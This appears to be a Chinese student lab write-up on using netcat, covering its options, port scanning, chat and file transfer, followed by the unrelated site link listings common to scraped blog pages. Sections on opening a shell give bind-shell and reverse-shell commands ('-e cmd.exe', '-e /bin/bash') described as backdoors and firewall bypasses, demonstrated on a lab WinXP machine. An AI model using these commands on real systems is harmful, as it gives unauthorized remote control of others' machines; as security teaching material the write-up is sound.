在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索。敬请批评指正!

1. netcat概述

(1)特性

  • “TCP/IP协议栈瑞士军刀”,可以被用在支持端口扫描、隧道、代理、端口转发等的对外连接上。

  • 从标准输入得到数据进行网络传输,它得到的数据可以通过标准输出显示到屏幕上。

  • 连接模式下,作为一个客户端:

      nc [-options] hostname [ports]
  • 监听模式下,充当一个服务器:

      nc -l -p port [-options] [hostname] [port]

(2)常用参数

options 描述
-d 无命令行界面,使用后台模式
-e [prog] 程序重定向
-g [gateway] 源路由跳跃点, 不超过8
-G [num] 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i [secs] 延时设置,端口扫描时使用
-l 监听知道NetCat被结束(可断开重连)
-L 无命令行界面,使用后台模式
-n 以数字形式表示的IP地址
-o [file] 使进制记录
-p [port] 打开本地端口
-r 随机本地和远程的端口
-s [addr] 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v/-vv 显示详细信息
-w [secs] 连接超时设置
-z I/O 模式(扫描时使用)

2. 简单命令

  • 可以将nc.exe所在目录放进Path中,方便调用

(1)作为客户端

nc -v [ip] [port]
  • 扫瞄某IP的某个端口,返回信息详细输出。
nc -v -z [ip] [port]-[port]
  • 扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢

  • 使用netcat可以进行端口扫描。但是Netcat并不是这个工作的最佳工具,可以使用一个更高级的工具:nmap。

nc -nvv [ip] [port]
  • 连接到某ip主机的指定端口(需开放)。

(2)作为服务器

nc -l -p 80
  • 开启本机的TCP的80端口并监听。

3. 使用netcat实现特定功能

(1)聊天功能

  • 双方一个做服务器,一个做客户端。

  • 服务器首先开启一个端口进行监听:

      nc -l -p [port]
  • 然后客户端进行连接:

      nc [服务器ip] [port]
  • 此时,双方的输入都会显示在对方机器上:

    • 服务器端:

    • 客户端:

(2)文件传输

  • 双方一个做服务器,一个做客户端。

  • 在服务器上创建并且重定向netcat的输入为待传输文件hyqServer.txt,那么当任何成功连接到该端口,netcat会发送文件内容。

      nc -l -p [port] < [待发送文件名]

  • 在客户端我们重定向输出到hyqClient.txt,当连接到服务器端时,服务器端发送文件内容,客户端保存文件内容到当前目录下的指定文件中。

      nc -n [服务器ip] [port] > [待保存文件名]

  • 比较两个文件:

  • 由于服务器端使用Linux操作系统,服务器端使用Windows操作系统,对于换行符的解释不通,导致格式不同。但内容没有更改,是完整的。

(3)打开一个Shell

  • 实际上,Netcat更多的用于后门程序。

  • WinXP作为服务器,开启监听80端口,并选用-v显示详细信息, –e选项指向cmd.exe程序。

      nc -lv -p [port] -e cmd.exe
  • 若为Linux系统,可以写做:

      nc -lv -p [port] -e /bin/bash
  • 此时,只要有人在所监听的80端口上建立连接,该程序都将执行,并将输出传输出去,即开启了一个后门。

  • 我们可以在kali(作为客户端)中使用IP和相应端口连接WinXP,成功后可以看到输入变成了cmd的模式:

      nc -vv [ip] [port]

  • 可以查看到WinXP的目录:

  • 可以进行删除操作:

  • 删除netcat文件夹中的Readme.txt文件:

  • 在WinXP中查看,确实被删除了:

(4)反向Shell

  • 反向shell是指在客户端打开的shell,可以用来绕过防火墙的限制。

  • 使用kali作为服务端打开端口监听:

      nc -l -p [port]
  • WinXP作为客户端打开相同的端口并将程序重定向到命令行:

      nc [ip] [port] -e cmd.exe
  • 若客户端为Linux系统,则:

      nc [ip] [port] -e /bin/bash
  • 在客户端显示连接上了开放端口5317:

  • 此时,Linux中会反弹回客户端的shell,并可进行操作:

4. 小结

  • 本来是病毒实践用于尝试分析的工具,虽然没有深度使用这个工具,但是我觉得这个工具本身的功能很多,如果结合自己编写的脚本应该会更能体现其价值。
  • nc是麻雀虽小,五脏俱全,这一特点有好处,也有不足。它优势在于对没有更高要求的简单环境中可以实现多功能。劣势在于每一方面的功能其实都有相应的专门的软件,而这些专门的软件做的比它的功能更强大和深入,就比如端口扫描,我觉得它的性能就不如nmap。

参考资料

参考资料1:NetCat使用介绍

参考资料2:nc 高级使用教程简介

参考资料3:Linux系统中使用netcat命令的奇技淫巧

参考资料4:NetCat代码分析

计算机病毒实践汇总四:netcat使用方法的更多相关文章

  1. 计算机病毒实践汇总六:IDA Pro基础

    在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. IDA使用 (1)搜索.下载并执行IDA Pro,对可执行程序lab05-01.dll进行装载,分别以图形 ...

  2. 计算机病毒实践汇总二:bufferzone沙盘使用体验

    在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. 安装bufferzone及其简单使用 (1)安装BufferZone BufferZone的msi安装文件 ...

  3. 百度地图和高德地图坐标系的互相转换 四种Sandcastle方法生成c#.net帮助类帮助文档 文档API生成神器SandCastle使用心得 ASP.NET Core

    百度地图和高德地图坐标系的互相转换   GPS.谷歌.百度.高德坐标相互转换 一.在进行地图开发过程中,我们一般能接触到以下三种类型的地图坐标系: 1.WGS-84原始坐标系,一般用国际GPS纪录仪记 ...

  4. Xamarin.Android开发实践(四)

    原文:Xamarin.Android开发实践(四) Xamarin.Android下获取与解析JSON 一.新建项目 1.新建一个Android项目,并命名为为NetJsonList 2.右击引用,选 ...

  5. Android进阶(二十)AndroidAPP开发问题汇总(四)

    · Android进阶(二十)AndroidAPP开发问题汇总(四) android:layout_width和android:width的区别 基中的android:layout_width和and ...

  6. kafka原理和实践(四)spring-kafka消费者源码

    系列目录 kafka原理和实践(一)原理:10分钟入门 kafka原理和实践(二)spring-kafka简单实践 kafka原理和实践(三)spring-kafka生产者源码 kafka原理和实践( ...

  7. App架构师实践指南四之性能优化一

    App架构师实践指南四之性能优化一     1.性能维度常见用来衡量App性能的维度如图9-1所示.其中,性能指标包括电池(电量/温度).流量(上行流量/下行流量等).CPU(平均/最大/最小).内存 ...

  8. #Python编程从入门到实践#第四章笔记

    #Python编程从入门到实践#第四章笔记   操作列表 ​​​1.遍历列表 使用for循环,遍历values列表 for value in values: print(value) 2.数字列表 使 ...

  9. Git工程开发实践(四)——Git分支管理策略

    A successful Git branching model https://nvie.com/posts/a-successful-git-branching-model/ Git工程开发实践( ...

随机推荐

  1. HDU 2509 nim博弈

    Be the Winner Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Tot ...

  2. selinium的ruby版在windows8下安装

    1.安装ruby,当然windows下是最简单的装一个rubyinstaller,官网有.一步到位 2.因为selinium官网被墙,所以改成淘宝的一个资源库 gem sources --remove ...

  3. Git 常用命令整理

    初始化配置 #配置使用git仓库的人员姓名 git config --global user.name "Your Name Comes Here" #配置使用git仓库的人员em ...

  4. 基于MVC4+EasyUI的Web开发框架形成之旅--权限控制

    我在上一篇随笔<基于MVC4+EasyUI的Web开发框架形成之旅--框架总体界面介绍>中大概介绍了基于MVC的Web开发框架的权限控制总体思路.其中的权限控制就是分为“用户登录身份验证” ...

  5. There is already an open DataReader associated with this Command which must be closed first." exception in Entity Framework

    Fixing the "There is already an open DataReader associated with this Command which must be clos ...

  6. Python chr() ord() unichr()

    chr()函数用一个范围在range(256)内的(就是0-255)整数作参数,返回一个对应的字符. unichr()跟它一样,只不过返回的是Unicode字符,这个从Python 2.0才加入的un ...

  7. iTextSharp 使用详解(转)

    PDF文件是目前比较流行的电子文档格式,在办公自动化(OA)等软件的开发中,经常要用到该格式,但介绍如何制作PDF格式文件的资料非常少,在网上搜来搜去,都转贴的是同一段“暴力”破解的方法,代码片断如下 ...

  8. Spring Framework----定时任务的执行和调度

    1. 简介 spring framework 为任务的异步执行和调度提供了抽象接口分别是:TaskExecutor 和 TaskScheduler,spring 对这些接口的进一步实现支持线程池或者将 ...

  9. python学习-day20、装饰器【图片缺失可看】印象笔记博客备份

    前言: 装饰器用于装饰某些函数或者方法,或者类.可以在函数执行之前或者执行之后,执行一些自定义的操作. 1.定义:装饰器就是一个函数,为新定义的函数.把原函数嵌套到新函数里面.以后就可以在执行新函数的 ...

  10. 通过Java Api与HBase交互(转)

    HBase提供了Java Api的访问接口,掌握这个就跟Java应用使用RDBMS时需要JDBC一样重要,本文将继续前两篇文章中blog表的示例,介绍常用的Api. import java.io.IO ...